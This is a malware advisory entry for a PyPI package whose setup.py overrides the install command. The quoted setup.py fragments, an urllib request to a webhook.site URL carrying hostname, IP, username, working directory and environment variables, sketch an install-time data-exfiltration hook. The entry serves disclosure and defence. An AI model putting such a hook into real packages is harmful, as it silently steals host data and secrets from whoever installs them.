GCVE-110-OSM-2026-11787

Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities. Campaign: GENERIC-standard-pypi-install-pentest Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - The package overrides the install command in setup.py to execute malicious code during installation. DESTINATION - 1 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Environment Variable Exfiltration in setup.py: "os.environ) } # Kirim data ke webhook (pakai urllib, ga perlu install requests) ..." - OAST/Interactsh Exfiltration in setup.py: "webhook.site" - Python File Upload to Remote in setup.py: "urllib.request.Request( 'https://webhook.site/e9e8cd25-2aa7-4896-8be9-38f0852331..." - System Information Exfiltration in setup.py: "socket.gethostname(), 'ip': socket.gethostbyname(socket.gethostname()), 'cwd': o..." - HTTP Data Exfiltration in setup.py: "socket.gethostname()), 'cwd': os.getcwd(), 'user': os.getenv('USER', 'unknown'),..." - Data Encoding for Exfiltration in setup.py: "json.dumps(data).encode" - Network Request in setup.py: "Request( 'https:" - System Information Collection in setup.py: "socket.gethostname()" (+1 more) PAYLOAD FILES setup.py